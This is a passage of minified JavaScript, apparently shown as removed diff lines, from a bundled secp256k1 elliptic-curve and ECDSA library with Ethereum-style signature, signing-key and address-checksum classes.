s3), r4.mul(o3, A3)); - return a3 && c3; - } - negate() { - return new g2(this.px, r4.neg(this.py), this.pz); - } - double() { - const { a: t3, b: n3 } = e2, A3 = r4.mul(n3, Hs), { px: i3, py: o3, pz: s3 } = this; - let a3 = r4.ZERO, c3 = r4.ZERO, h3 = r4.ZERO, u3 = r4.mul(i3, i3), l3 = r4.mul(o3, o3), f2 = r4.mul(s3, s3), p2 = r4.mul(i3, o3); - return p2 = r4.add(p2, p2), h3 = r4.mul(i3, s3), h3 = r4.add(h3, h3), a3 = r4.mul(t3, h3), c3 = r4.mul(A3, f2), c3 = r4.add(a3, c3), a3 = r4.sub(l3, c3), c3 = r4.add(l3, c3), c3 = r4.mul(a3, c3), a3 = r4.mul(p2, a3), h3 = r4.mul(A3, h3), f2 = r4.mul(t3, f2), p2 = r4.sub(u3, f2), p2 = r4.mul(t3, p2), p2 = r4.add(p2, h3), h3 = r4.add(u3, u3), u3 = r4.add(h3, u3), u3 = r4.add(u3, f2), u3 = r4.mul(u3, p2), c3 = r4.add(c3, u3), f2 = r4.mul(o3, s3), f2 = r4.add(f2, f2), u3 = r4.mul(f2, p2), a3 = r4.sub(a3, u3), h3 = r4.mul(f2, l3), h3 = r4.add(h3, h3), h3 = r4.add(h3, h3), new g2(a3, c3, h3); - } - add(t3) { - h2(t3); - const { px: n3, py: A3, pz: i3 } = this, { px: o3, py: s3, pz: a3 } = t3; - let c3 = r4.ZERO, u3 = r4.ZERO, l3 = r4.ZERO; - const f2 = e2.a, p2 = r4.mul(e2.b, Hs); - let d2 = r4.mul(n3, o3), I2 = r4.mul(A3, s3), y2 = r4.mul(i3, a3), C2 = r4.add(n3, A3), m2 = r4.add(o3, s3); - C2 = r4.mul(C2, m2), m2 = r4.add(d2, I2), C2 = r4.sub(C2, m2), m2 = r4.add(n3, i3); - let B2 = r4.add(o3, a3); - return m2 = r4.mul(m2, B2), B2 = r4.add(d2, y2), m2 = r4.sub(m2, B2), B2 = r4.add(A3, i3), c3 = r4.add(s3, a3), B2 = r4.mul(B2, c3), c3 = r4.add(I2, y2), B2 = r4.sub(B2, c3), l3 = r4.mul(f2, m2), c3 = r4.mul(p2, y2), l3 = r4.add(c3, l3), c3 = r4.sub(I2, l3), l3 = r4.add(I2, l3), u3 = r4.mul(c3, l3), I2 = r4.add(d2, d2), I2 = r4.add(I2, d2), y2 = r4.mul(f2, y2), m2 = r4.mul(p2, m2), I2 = r4.add(I2, y2), y2 = r4.sub(d2, y2), y2 = r4.mul(f2, y2), m2 = r4.add(m2, y2), d2 = r4.mul(I2, m2), u3 = r4.add(u3, d2), d2 = r4.mul(B2, m2), c3 = r4.mul(C2, c3), c3 = r4.sub(c3, d2), d2 = r4.mul(C2, I2), l3 = r4.mul(B2, l3), l3 = r4.add(l3, d2), new g2(c3, u3, l3); - } - subtract(t3) { - return this.add(t3.negate()); - } - is0() { - return this.equals(g2.ZERO); - } - wNAF(t3) { - return l2.wNAFCached(this, c2, t3, (t4) => { - const e3 = r4.invertBatch(t4.map((t5) => t5.pz)); - return t4.map((t5, r5) => t5.toAffine(e3[r5])).map(g2.fromAffine); - }); - } - multiplyUnsafe(t3) { - const n3 = g2.ZERO; - if (t3 === Us) - return n3; - if (s2(t3), t3 === Gs) - return this; - const { endo: A3 } = e2; - if (!A3) - return l2.unsafeLadder(this, t3); - let { k1neg: i3, k1: o3, k2neg: a3, k2: c3 } = A3.splitScalar(t3), h3 = n3, u3 = n3, f2 = this; - for (; o3 > Us || c3 > Us; ) - o3 & Gs && (h3 = h3.add(f2)), c3 & Gs && (u3 = u3.add(f2)), f2 = f2.double(), o3 >>= Gs, c3 >>= Gs; - return i3 && (h3 = h3.negate()), a3 && (u3 = u3.negate()), u3 = new g2(r4.mul(u3.px, A3.beta), u3.py, u3.pz), h3.add(u3); - } - multiply(t3) { - s2(t3); - let n3, A3, i3 = t3; - const { endo: o3 } = e2; - if (o3) { - const { k1neg: t4, k1: e3, k2neg: s3, k2: a3 } = o3.splitScalar(i3); - let { p: c3, f: h3 } = this.wNAF(e3), { p: u3, f: f2 } = this.wNAF(a3); - c3 = l2.constTimeNegate(t4, c3), u3 = l2.constTimeNegate(s3, u3), u3 = new g2(r4.mul(u3.px, o3.beta), u3.py, u3.pz), n3 = c3.add(u3), A3 = h3.add(f2); - } else { - const { p: t4, f: e3 } = this.wNAF(i3); - n3 = t4, A3 = e3; - } - return g2.normalizeZ([n3, A3])[0]; - } - multiplyAndAddUnsafe(t3, e3, r5) { - const n3 = g2.BASE, A3 = (t4, e4) => e4 !== Us && e4 !== Gs && t4.equals(n3) ? t4.multiply(e4) : t4.multiplyUnsafe(e4), i3 = A3(this, e3).add(A3(t3, r5)); - return i3.is0() ? void 0 : i3; - } - toAffine(t3) { - const { px: e3, py: n3, pz: A3 } = this, i3 = this.is0(); - null == t3 && (t3 = i3 ? r4.ONE : r4.inv(A3)); - const o3 = r4.mul(e3, t3), s3 = r4.mul(n3, t3), a3 = r4.mul(A3, t3); - if (i3) - return { x: r4.ZERO, y: r4.ZERO }; - if (!r4.eql(a3, r4.ONE)) - throw new Error("invZ was invalid"); - return { x: o3, y: s3 }; - } - isTorsionFree() { - const { h: t3, isTorsionFree: r5 } = e2; - if (t3 === Gs) - return true; - if (r5) - return r5(g2, this); - throw new Error("isTorsionFree() has not been declared for the elliptic curve"); - } - clearCofactor() { - const { h: t3, clearCofactor: r5 } = e2; - return t3 === Gs ? this : r5 ? r5(g2, this) : this.multiplyUnsafe(e2.h); - } - toRawBytes(t3 = true) { - return this.assertValidity(), n2(g2, this, t3); - } - toHex(t3 = true) { - return $o(this.toRawBytes(t3)); - } - } - g2.BASE = new g2(e2.Gx, e2.Gy, r4.ONE), g2.ZERO = new g2(r4.ZERO, r4.ONE, r4.ZERO); - const u2 = e2.nBitLength, l2 = /* @__PURE__ */ function(t3, e3) { - const r5 = (t4, e4) => { - const r6 = e4.negate(); - return t4 ? r6 : e4; - }, n3 = (t4) => ({ windows: Math.ceil(e3 / t4) + 1, windowSize: 2 ** (t4 - 1) }); - return { constTimeNegate: r5, unsafeLadder(e4, r6) { - let n4 = t3.ZERO, A3 = e4; - for (; r6 > Ms; ) - r6 & xs && (n4 = n4.add(A3)), A3 = A3.double(), r6 >>= xs; - return n4; - }, precomputeWindow(t4, e4) { - const { windows: r6, windowSize: A3 } = n3(e4), i3 = []; - let o3 = t4, s3 = o3; - for (let t5 = 0; t5 < r6; t5++) { - s3 = o3, i3.push(s3); - for (let t6 = 1; t6 < A3; t6++) - s3 = s3.add(o3), i3.push(s3); - o3 = s3.double(); - } - return i3; - }, wNAF(e4, A3, i3) { - const { windows: o3, windowSize: s3 } = n3(e4); - let a3 = t3.ZERO, c3 = t3.BASE; - const h3 = BigInt(2 ** e4 - 1), g3 = 2 ** e4, u3 = BigInt(e4); - for (let t4 = 0; t4 < o3; t4++) { - const e5 = t4 * s3; - let n4 = Number(i3 & h3); - i3 >>= u3, n4 > s3 && (n4 -= g3, i3 += xs); - const o4 = e5, l3 = e5 + Math.abs(n4) - 1, f2 = t4 % 2 != 0, p2 = n4 < 0; - 0 === n4 ? c3 = c3.add(r5(f2, A3[o4])) : a3 = a3.add(r5(p2, A3[l3])); - } - return { p: a3, f: c3 }; - }, wNAFCached(t4, e4, r6, n4) { - const A3 = t4._WINDOW_SIZE || 1; - let i3 = e4.get(t4); - return i3 || (i3 = this.precomputeWindow(t4, A3), 1 !== A3 && e4.set(t4, n4(i3))), this.wNAF(A3, i3, r6); - } }; - }(g2, e2.endo ? Math.ceil(u2 / 2) : u2); - return { CURVE: e2, ProjectivePoint: g2, normPrivateKeyToScalar: a2, weierstrassEquation: i2, isWithinCurveOrder: o2 }; - } - function Os(t2) { - const e2 = function(t3) { - const e3 = Fs(t3); - return fs(e3, { hash: "hash", hmac: "function", randomBytes: "function" }, { bits2int: "function", bits2int_modN: "function", lowS: "boolean" }), Object.freeze({ lowS: true, ...e3 }); - }(t2), { Fp: r4, n: n2 } = e2, A2 = r4.BYTES + 1, i2 = 2 * r4.BYTES + 1; - function o2(t3) { - return ws(t3, n2); - } - function s2(t3) { - return Qs(t3, n2); - } - const { ProjectivePoint: a2, normPrivateKeyToScalar: c2, weierstrassEquation: h2, isWithinCurveOrder: g2 } = Ls({ ...e2, toBytes(t3, e3, n3) { - const A3 = e3.toAffine(), i3 = r4.toBytes(A3.x), o3 = as; - return n3 ? o3(Uint8Array.from([e3.hasEvenY() ? 2 : 3]), i3) : o3(Uint8Array.from([4]), i3, r4.toBytes(A3.y)); - }, fromBytes(t3) { - const e3 = t3.length, n3 = t3[0], o3 = t3.subarray(1); - if (e3 !== A2 || 2 !== n3 && 3 !== n3) { - if (e3 === i2 && 4 === n3) { - return { x: r4.fromBytes(o3.subarray(0, r4.BYTES)), y: r4.fromBytes(o3.subarray(r4.BYTES, 2 * r4.BYTES)) }; - } - throw new Error(`Point of length ${e3} was invalid. Expected ${A2} compressed bytes or ${i2} uncompressed bytes`); - } - { - const t4 = ns(o3); - if (!(Us < (s3 = t4) && s3 < r4.ORDER)) - throw new Error("Point is not on curve"); - const e4 = h2(t4); - let A3 = r4.sqrt(e4); - return !(1 & ~n3) !== ((A3 & Gs) === Gs) && (A3 = r4.neg(A3)), { x: t4, y: A3 }; - } - var s3; - } }), u2 = (t3) => $o(is(t3, e2.nByteLength)); - function l2(t3) { - return t3 > n2 >> Gs; - } - const f2 = (t3, e3, r5) => ns(t3.slice(e3, r5)); - class p2 { - constructor(t3, e3, r5) { - this.r = t3, this.s = e3, this.recovery = r5, this.assertValidity(); - } - static fromCompact(t3) { - const r5 = e2.nByteLength; - return t3 = ss("compactSignature", t3, 2 * r5), new p2(f2(t3, 0, r5), f2(t3, r5, 2 * r5)); - } - static fromDER(t3) { - const { r: e3, s: r5 } = Rs.toSig(ss("DER", t3)); - return new p2(e3, r5); - } - assertValidity() { - if (!g2(this.r)) - throw new Error("r must be 0 < r < CURVE.n"); - if (!g2(this.s)) - throw new Error("s must be 0 < s < CURVE.n"); - } - addRecoveryBit(t3) { - return new p2(this.r, this.s, t3); - } - recoverPublicKey(t3) { - const { r: n3, s: A3, recovery: i3 } = this, c3 = C2(ss("msgHash", t3)); - if (null == i3 || ![0, 1, 2, 3].includes(i3)) - throw new Error("recovery id invalid"); - const h3 = 2 === i3 || 3 === i3 ? n3 + e2.n : n3; - if (h3 >= r4.ORDER) - throw new Error("recovery id 2 or 3 invalid"); - const g3 = 1 & i3 ? "03" : "02", l3 = a2.fromHex(g3 + u2(h3)), f3 = s2(h3), p3 = o2(-c3 * f3), d3 = o2(A3 * f3), I3 = a2.BASE.multiplyAndAddUnsafe(l3, p3, d3); - if (!I3) - throw new Error("point at infinify"); - return I3.assertValidity(), I3; - } - hasHighS() { - return l2(this.s); - } - normalizeS() { - return this.hasHighS() ? new p2(this.r, o2(-this.s), this.recovery) : this; - } - toDERRawBytes() { - return rs(this.toDERHex()); - } - toDERHex() { - return Rs.hexFromSig({ r: this.r, s: this.s }); - } - toCompactRawBytes() { - return rs(this.toCompactHex()); - } - toCompactHex() { - return u2(this.r) + u2(this.s); - } - } - const d2 = { isValidPrivateKey(t3) { - try { - return c2(t3), true; - } catch (t4) { - return false; - } - }, normPrivateKeyToScalar: c2, randomPrivateKey: () => { - const t3 = Ns(e2.n); - return function(t4, e3, r5 = false) { - const n3 = t4.length, A3 = Ss(e3), i3 = Ns(e3); - if (n3 < 16 || n3 < i3 || n3 > 1024) - throw new Error(`expected ${i3}-1024 bytes of input, got ${n3}`); - const o3 = ws(r5 ? ns(t4) : As(t4), e3 - Is) + Is; - return r5 ? os(o3, A3) : is(o3, A3); - }(e2.randomBytes(t3), e2.n); - }, precompute: (t3 = 8, e3 = a2.BASE) => (e3._setWindowSize(t3), e3.multiply(BigInt(3)), e3) }; - function I2(t3) { - const e3 = t3 instanceof Uint8Array, r5 = "string" == typeof t3, n3 = (e3 || r5) && t3.length; - return e3 ? n3 === A2 || n3 === i2 : r5 ? n3 === 2 * A2 || n3 === 2 * i2 : t3 instanceof a2; - } - const y2 = e2.bits2int || function(t3) { - const r5 = ns(t3), n3 = 8 * t3.length - e2.nBitLength; - return n3 > 0 ? r5 >> BigInt(n3) : r5; - }, C2 = e2.bits2int_modN || function(t3) { - return o2(y2(t3)); - }, m2 = cs(e2.nBitLength); - function B2(t3) { - if ("bigint" != typeof t3) - throw new Error("bigint expected"); - if (!(Us <= t3 && t3 < m2)) - throw new Error(`bigint expected < 2^${e2.nBitLength}`); - return is(t3, e2.nByteLength); - } - function E2(t3, n3, A3 = w2) { - if (["recovered", "canonical"].some((t4) => t4 in A3)) - throw new Error("sign() legacy options not supported"); - const { hash: i3, randomBytes: h3 } = e2; - let { lowS: u3, prehash: f3, extraEntropy: d3 } = A3; - null == u3 && (u3 = true), t3 = ss("msgHash", t3), f3 && (t3 = ss("prehashed msgHash", i3(t3))); - const I3 = C2(t3), m3 = c2(n3), E3 = [B2(m3), B2(I3)]; - if (null != d3) { - const t4 = true === d3 ? h3(r4.BYTES) : d3; - E3.push(ss("extraEntropy", t4)); - } - const v3 = as(...E3), _2 = I3; - return { seed: v3, k2sig: function(t4) { - const e3 = y2(t4); - if (!g2(e3)) - return; - const r5 = s2(e3), n4 = a2.BASE.multiply(e3).toAffine(), A4 = o2(n4.x); - if (A4 === Us) - return; - const i4 = o2(r5 * o2(_2 + A4 * m3)); - if (i4 === Us) - return; - let c3 = (n4.x === A4 ? 0 : 2) | Number(n4.y & Gs), h4 = i4; - return u3 && l2(i4) && (h4 = function(t5) { - return l2(t5) ? o2(-t5) : t5; - }(i4), c3 ^= 1), new p2(A4, h4, c3); - } }; - } - const w2 = { lowS: e2.lowS, prehash: false }, v2 = { lowS: e2.lowS, prehash: false }; - return a2.BASE._setWindowSize(8), { CURVE: e2, getPublicKey: function(t3, e3 = true) { - return a2.fromPrivateKey(t3).toRawBytes(e3); - }, getSharedSecret: function(t3, e3, r5 = true) { - if (I2(t3)) - throw new Error("first arg must be private key"); - if (!I2(e3)) - throw new Error("second arg must be public key"); - return a2.fromHex(e3).multiply(c2(t3)).toRawBytes(r5); - }, sign: function(t3, r5, n3 = w2) { - const { seed: A3, k2sig: i3 } = E2(t3, r5, n3), o3 = e2; - return us(o3.hash.outputLen, o3.nByteLength, o3.hmac)(A3, i3); - }, verify: function(t3, r5, n3, A3 = v2) { - const i3 = t3; - if (r5 = ss("msgHash", r5), n3 = ss("publicKey", n3), "strict" in A3) - throw new Error("options.strict was renamed to lowS"); - const { lowS: c3, prehash: h3 } = A3; - let g3, u3; - try { - if ("string" == typeof i3 || i3 instanceof Uint8Array) - try { - g3 = p2.fromDER(i3); - } catch (t4) { - if (!(t4 instanceof Rs.Err)) - throw t4; - g3 = p2.fromCompact(i3); - } - else { - if ("object" != typeof i3 || "bigint" != typeof i3.r || "bigint" != typeof i3.s) - throw new Error("PARSE"); - { - const { r: t4, s: e3 } = i3; - g3 = new p2(t4, e3); - } - } - u3 = a2.fromHex(n3); - } catch (t4) { - if ("PARSE" === t4.message) - throw new Error("signature must be Signature instance, Uint8Array or hex string"); - return false; - } - if (c3 && g3.hasHighS()) - return false; - h3 && (r5 = e2.hash(r5)); - const { r: l3, s: f3 } = g3, d3 = C2(r5), I3 = s2(f3), y3 = o2(d3 * I3), m3 = o2(l3 * I3), B3 = a2.BASE.multiplyAndAddUnsafe(u3, y3, m3)?.toAffine(); - return !!B3 && o2(B3.x) === l3; - }, ProjectivePoint: a2, Signature: p2, utils: d2 }; - } - function Ys(t2) { - return { hash: t2, hmac: (e2, ...r4) => si(t2, e2, function(...t3) { - const e3 = new Uint8Array(t3.reduce((t4, e4) => t4 + e4.length, 0)); - let r5 = 0; - return t3.forEach((t4) => { - if (!qA(t4)) - throw new Error("Uint8Array expected"); - e3.set(t4, r5), r5 += t4.length; - }), e3; - }(...r4)), randomBytes: ii }; - } - BigInt(4); - var Ks = BigInt("0xfffffffffffffffffffffffffffffffffffffffffffffffffffffffefffffc2f"); - var Js = BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"); - var js = BigInt(1); - var zs = BigInt(2); - var qs = (t2, e2) => (t2 + e2 / zs) / e2; - var Xs = function(t2, e2, r4 = false, n2 = {}) { - if (t2 <= ds) - throw new Error(`Expected Field ORDER > 0, got ${t2}`); - const { nBitLength: A2, nByteLength: i2 } = Ds(t2, e2); - if (i2 > 2048) - throw new Error("Field lengths over 2048 bytes are not supported"); - const o2 = bs(t2), s2 = Object.freeze({ ORDER: t2, BITS: A2, BYTES: i2, MASK: cs(A2), ZERO: ds, ONE: Is, create: (e3) => ws(e3, t2), isValid: (e3) => { - if ("bigint" != typeof e3) - throw new Error("Invalid field element: expected bigint, got " + typeof e3); - return ds <= e3 && e3 < t2; - }, is0: (t3) => t3 === ds, isOdd: (t3) => (t3 & Is) === Is, neg: (e3) => ws(-e3, t2), eql: (t3, e3) => t3 === e3, sqr: (e3) => ws(e3 * e3, t2), add: (e3, r5) => ws(e3 + r5, t2), sub: (e3, r5) => ws(e3 - r5, t2), mul: (e3, r5) => ws(e3 * r5, t2), pow: (t3, e3) => function(t4, e4, r5) { - if (r5 < ds) - throw new Error("Expected power > 0"); - if (r5 === ds) - return t4.ONE; - if (r5 === Is) - return e4; - let n3 = t4.ONE, A3 = e4; - for (; r5 > ds; ) - r5 & Is && (n3 = t4.mul(n3, A3)), A3 = t4.sqr(A3), r5 >>= Is; - return n3; - }(s2, t3, e3), div: (e3, r5) => ws(e3 * Qs(r5, t2), t2), sqrN: (t3) => t3 * t3, addN: (t3, e3) => t3 + e3, subN: (t3, e3) => t3 - e3, mulN: (t3, e3) => t3 * e3, inv: (e3) => Qs(e3, t2), sqrt: n2.sqrt || ((t3) => o2(s2, t3)), invertBatch: (t3) => function(t4, e3) { - const r5 = new Array(e3.length), n3 = e3.reduce((e4, n4, A4) => t4.is0(n4) ? e4 : (r5[A4] = e4, t4.mul(e4, n4)), t4.ONE), A3 = t4.inv(n3); - return e3.reduceRight((e4, n4, A4) => t4.is0(n4) ? e4 : (r5[A4] = t4.mul(e4, r5[A4]), t4.mul(e4, n4)), A3), r5; - }(s2, t3), cmov: (t3, e3, r5) => r5 ? e3 : t3, toBytes: (t3) => r4 ? os(t3, i2) : is(t3, i2), fromBytes: (t3) => { - if (t3.length !== i2) - throw new Error(`Fp.fromBytes: expected ${i2}, got ${t3.length}`); - return r4 ? As(t3) : ns(t3); - } }); - return Object.freeze(s2); - }(Ks, void 0, void 0, { sqrt: function(t2) { - const e2 = Ks, r4 = BigInt(3), n2 = BigInt(6), A2 = BigInt(11), i2 = BigInt(22), o2 = BigInt(23), s2 = BigInt(44), a2 = BigInt(88), c2 = t2 * t2 * t2 % e2, h2 = c2 * c2 * t2 % e2, g2 = _s(h2, r4, e2) * h2 % e2, u2 = _s(g2, r4, e2) * h2 % e2, l2 = _s(u2, zs, e2) * c2 % e2, f2 = _s(l2, A2, e2) * l2 % e2, p2 = _s(f2, i2, e2) * f2 % e2, d2 = _s(p2, s2, e2) * p2 % e2, I2 = _s(d2, a2, e2) * d2 % e2, y2 = _s(I2, s2, e2) * p2 % e2, C2 = _s(y2, r4, e2) * h2 % e2, m2 = _s(C2, o2, e2) * f2 % e2, B2 = _s(m2, n2, e2) * c2 % e2, E2 = _s(B2, zs, e2); - if (!Xs.eql(Xs.sqr(E2), t2)) - throw new Error("Cannot find square root"); - return E2; - } }); - var Vs = function(t2, e2) { - const r4 = (e3) => Os({ ...t2, ...Ys(e3) }); - return Object.freeze({ ...r4(e2), create: r4 }); - }({ a: BigInt(0), b: BigInt(7), Fp: Xs, n: Js, Gx: BigInt("55066263022277343669578718895168534326250603453777594175500187360389116729240"), Gy: BigInt("32670510020758816978083085130507043184471273380659243275938904335757337482424"), h: BigInt(1), lowS: true, endo: { beta: BigInt("0x7ae96a2b657c07106e64479eac3434e99cf0497512f58995c1396c28719501ee"), splitScalar: (t2) => { - const e2 = Js, r4 = BigInt("0x3086d221a7d46bcde86c90e49284eb15"), n2 = -js * BigInt("0xe4437ed6010e88286f547fa90abfe4c3"), A2 = BigInt("0x114ca50f7a8e2f3f657c1108d9d44cfd8"), i2 = r4, o2 = BigInt("0x100000000000000000000000000000000"), s2 = qs(i2 * t2, e2), a2 = qs(-n2 * t2, e2); - let c2 = ws(t2 - s2 * r4 - a2 * A2, e2), h2 = ws(-s2 * n2 - a2 * i2, e2); - const g2 = c2 > o2, u2 = h2 > o2; - if (g2 && (c2 = e2 - c2), u2 && (h2 = e2 - h2), c2 > o2 || h2 > o2) - throw new Error("splitScalar: Endomorphism failed, k=" + t2); - return { k1neg: g2, k1: c2, k2neg: u2, k2: h2 }; - } } }, Ii); - BigInt(0), Vs.ProjectivePoint; - var Ws = "0x0000000000000000000000000000000000000000"; - var Zs = "0x0000000000000000000000000000000000000000000000000000000000000000"; - BigInt("0xfffffffffffffffffffffffffffffffebaaedce6af48a03bbfd25e8cd0364141"), BigInt("1000000000000000000"), BigInt("0xffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"), BigInt("0x8000000000000000000000000000000000000000000000000000000000000000"), BigInt(-1); - var $s = BigInt("0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff"); - var ta = BigInt(0); - var ea = BigInt(1); - var ra = BigInt(2); - var na = BigInt(27); - var Aa = BigInt(28); - var ia = BigInt(35); - var oa = {}; - function sa(t2) { - return Hn($n(t2), 32); - } - var aa = class t2 { - #m; - #B; - #E; - #w; - get r() { - return this.#m; - } - set r(t3) { - vn(32 === Rn(t3), "invalid r", "value", t3), this.#m = Pn(t3); - } - get s() { - return this.#B; - } - set s(t3) { - vn(32 === Rn(t3), "invalid s", "value", t3); - const e2 = Pn(t3); - vn(parseInt(e2.substring(0, 3)) < 8, "non-canonical s", "value", e2), this.#B = e2; - } - get v() { - return this.#E; - } - set v(t3) { - const e2 = Wn(t3, "value"); - vn(27 === e2 || 28 === e2, "invalid v", "v", t3), this.#E = e2; - } - get networkV() { - return this.#w; - } - get legacyChainId() { - const e2 = this.networkV; - return null == e2 ? null : t2.getChainId(e2); - } - get yParity() { - return 27 === this.v ? 0 : 1; - } - get yParityAndS() { - const t3 = Sn(this.s); - return this.yParity && (t3[0] |= 128), Pn(t3); - } - get compactSerialized() { - return Tn([this.r, this.yParityAndS]); - } - get serialized() { - return Tn([this.r, this.s, this.yParity ? "0x1c" : "0x1b"]); - } - constructor(t3, e2, r4, n2) { - kn(t3, oa, "Signature"), this.#m = e2, this.#B = r4, this.#E = n2, this.#w = null; - } - [Symbol.for("nodejs.util.inspect.custom")]() { - return `Signature { r: "${this.r}", s: "${this.s}", yParity: ${this.yParity}, networkV: ${this.networkV} }`; - } - clone() { - const e2 = new t2(oa, this.r, this.s, this.v); - return this.networkV && (e2.#w = this.networkV), e2; - } - toJSON() { - const t3 = this.networkV; - return { _type: "signature", networkV: null != t3 ? t3.toString() : null, r: this.r, s: this.s, v: this.v }; - } - static getChainId(t3) { - const e2 = zn(t3, "v"); - return e2 == na || e2 == Aa ? ta : (vn(e2 >= ia, "invalid EIP-155 v", "v", t3), (e2 - ia) / ra); - } - static getChainIdV(t3, e2) { - return zn(t3) * ra + BigInt(35 + e2 - 27); - } - static getNormalizedV(t3) { - const e2 = zn(t3); - return e2 === ta || e2 === na ? 27 : e2 === ea || e2 === Aa ? 28 : (vn(e2 >= ia, "invalid v", "v", t3), e2 & ea ? 27 : 28); - } - static from(e2) { - function r4(t3, r5) { - vn(t3, r5, "signature", e2); - } - if (null == e2) - return new t2(oa, Zs, Zs, 27); - if ("string" == typeof e2) { - const n3 = Sn(e2, "signature"); - if (64 === n3.length) { - const e3 = Pn(n3.slice(0, 32)), r5 = n3.slice(32, 64), A3 = 128 & r5[0] ? 28 : 27; - return r5[0] &= 127, new t2(oa, e3, Pn(r5), A3); - } - if (65 === n3.length) { - const e3 = Pn(n3.slice(0, 32)), A3 = n3.slice(32, 64); - r4(!(128 & A3[0]), "non-canonical s"); - const i3 = t2.getNormalizedV(n3[64]); - return new t2(oa, e3, Pn(A3), i3); - } - r4(false, "invalid raw signature length"); - } - if (e2 instanceof t2) - return e2.clone(); - const n2 = e2.r; - r4(null != n2, "missing r"); - const A2 = sa(n2), i2 = function(t3, e3) { - if (null != t3) - return sa(t3); - if (null != e3) { - r4(Mn(e3, 32), "invalid yParityAndS"); - const t4 = Sn(e3); - return t4[0] &= 127, Pn(t4); - } - r4(false, "missing s"); - }(e2.s, e2.yParityAndS); - r4(!(128 & Sn(i2)[0]), "non-canonical s"); - const { networkV: o2, v: s2 } = function(e3, n3, A3) { - if (null != e3) { - const r5 = zn(e3); - return { networkV: r5 >= ia ? r5 : void 0, v: t2.getNormalizedV(r5) }; - } - if (null != n3) - return r4(Mn(n3, 32), "invalid yParityAndS"), { v: 128 & Sn(n3)[0] ? 28 : 27 }; - if (null != A3) { - switch (Wn(A3, "sig.yParity")) { - case 0: - return { v: 27 }; - case 1: - return { v: 28 }; - } - r4(false, "invalid yParity"); - } - r4(false, "missing v"); - }(e2.v, e2.yParityAndS, e2.yParity), a2 = new t2(oa, A2, i2, s2); - return o2 && (a2.#w = o2), r4(null == e2.yParity || Wn(e2.yParity, "sig.yParity") === a2.yParity, "yParity mismatch"), r4(null == e2.yParityAndS || e2.yParityAndS === a2.yParityAndS, "yParityAndS mismatch"), a2; - } - }; - var ca = class t2 { - #v; - constructor(t3) { - vn(32 === Rn(t3), "invalid private key", "privateKey", "[REDACTED]"), this.#v = Pn(t3); - } - get privateKey() { - return this.#v; - } - get publicKey() { - return t2.computePublicKey(this.#v); - } - get compressedPublicKey() { - return t2.computePublicKey(this.#v, true); - } - sign(t3) { - vn(32 === Rn(t3), "invalid digest length", "digest", t3); - const e2 = Vs.sign(Nn(t3), Nn(this.#v), { lowS: true }); - return aa.from({ r: Zn(e2.r, 32), s: Zn(e2.s, 32), v: e2.recovery ? 28 : 27 }); - } - computeSharedSecret(e2) { - const r4 = t2.computePublicKey(e2); - return Pn(Vs.getSharedSecret(Nn(this.#v), Sn(r4), false)); - } - static computePublicKey(t3, e2) { - let r4 = Sn(t3, "key"); - if (32 === r4.length) { - return Pn(Vs.getPublicKey(r4, !!e2)); - } - if (64 === r4.length) { - const t4 = new Uint8Array(65); - t4[0] = 4, t4.set(r4, 1), r4 = t4; - } - return Pn(Vs.ProjectivePoint.fromHex(r4).toRawBytes(e2)); - } - static recoverPublicKey(t3, e2) { - vn(32 === Rn(t3), "invalid digest length", "digest", t3); - const r4 = aa.from(e2); - let n2 = Vs.Signature.fromCompact(Nn(Tn([r4.r, r4.s]))); - n2 = n2.addRecoveryBit(r4.yParity); - const A2 = n2.recoverPublicKey(Nn(t3)); - return vn(null != A2, "invalid signautre for digest", "signature", e2), "0x" + A2.toHex(false); - } - static addPoints(e2, r4, n2) { - const A2 = Vs.ProjectivePoint.fromHex(t2.computePublicKey(e2).substring(2)), i2 = Vs.ProjectivePoint.fromHex(t2.computePublicKey(r4).substring(2)); - return "0x" + A2.add(i2).toHex(!!n2); - } - }; - var ha = BigInt(0); - var ga = BigInt(36); - function ua(t2) { - const e2 = (t2 = t2.toLowerCase()).substring(2).split(""), r4 = new Uint8Array(40); - for (let t3 = 0; t3 < 40; t3++) - r4[t3] = e2[t3].charCodeAt(0); - const n2 = Sn(no(r4)); - for (let t3 = 0; t3 < 40; t3 += 2) - n2[t3 >> 1] >> 4 >= 8 && (e2[t3] = e2[t3].toUpperCase()), (15 & n2[t3 >> 1]) >= 8 && (e2[t3 + 1] = e2[t3 + 1].toUpperCase()); - return "0x" + e2.join(""); - } - var la = {}; - for (let t2 = 0; t2 < 10; t2++) - la[String(t2)] = String(t2); - for (let t2 = 0; t2 < 26; t2++) - la[String.fromCharCode(65 + t2)] = String(10 + t2); - var fa = 15; - var pa = function() { - const t2 = {}; - for (let e2 = 0; e2 < 36; e2++) { - t2["0123456789abcdefghijklmnopqrstuvwxyz"[e2]] = BigInt(e2); - } - return t2; - }(); - function da(t2) { - if (vn("string" == typeof t2, "invalid address", "address", t2), t2.match(/^(0x)?[0-9a-fA-F]{40}$/)) { - t2.startsWith("0x") || (t2 = "0x" + t2); - const e2 = ua(t2); - return vn(!t2.match(/([A-F].*[a-f])|([a-f].*[A-F])/) || e2 === t2, "bad address checksum", "address", t2), e2; - } - if (t2.match(/^XE[0-9]{2}[0-9A-Za-z]{30,31}$/)) { - vn(t2.substring(2, 4) === function(t3) { - let e3 = (t3 = (t3 = t3.toUpperCase()).substring(4) + t3.substring(0, 2) + "00").split("").map((t4) => la[t4]).join(""); - for (; e3.length >= fa; ) { - let t4 = e3.substring(0, fa); - e3 = parseInt(t4, 10) % 97 + e3.substring(t4.length); - } - let r4 = String(98 - parseInt(e3, 10) % 97); - for (; r4.length < 2; ) - r4 = "0" + r4; - return r4; - }(t2), "bad icap checksum", "address", t2); - let e2 = function(t3) { - t3 = t3.toLowerCase(); - let e3 = ha; - for (let r4 = 0; r4 < t3.length; r4++) - e3 = e3 * ga + pa[t3[r4]]; - return e3; - }(t2.substring(4)).toString(16); - for (; e2.length < 40; ) - e2 = "0" + e2; - return ua("0x" + e2); - } - vn(false, "invalid address", "address", t2); - } - function Ia(t2) { - return t2 && "function" == typeof t2.getAddress; - } - async function ya(t2, e2) { - const r4 = await e2; - return null != r4 && "0x0000000000000000000000000000000000000000" !== r4 || (wn("string" != typeof t2, "unconfigured name", "UNCONFIGURED_NAME", { value: t2 }), vn(false, "invalid AddressLike value; did not resolve to a value address", "target", t2)), da(r4); - } - function Ca(t2, e2) { - return "string" == typeof t2 ? t2.match(/^0x[0-9a-f]{40}$/i) ? da(t2) : (wn(null != 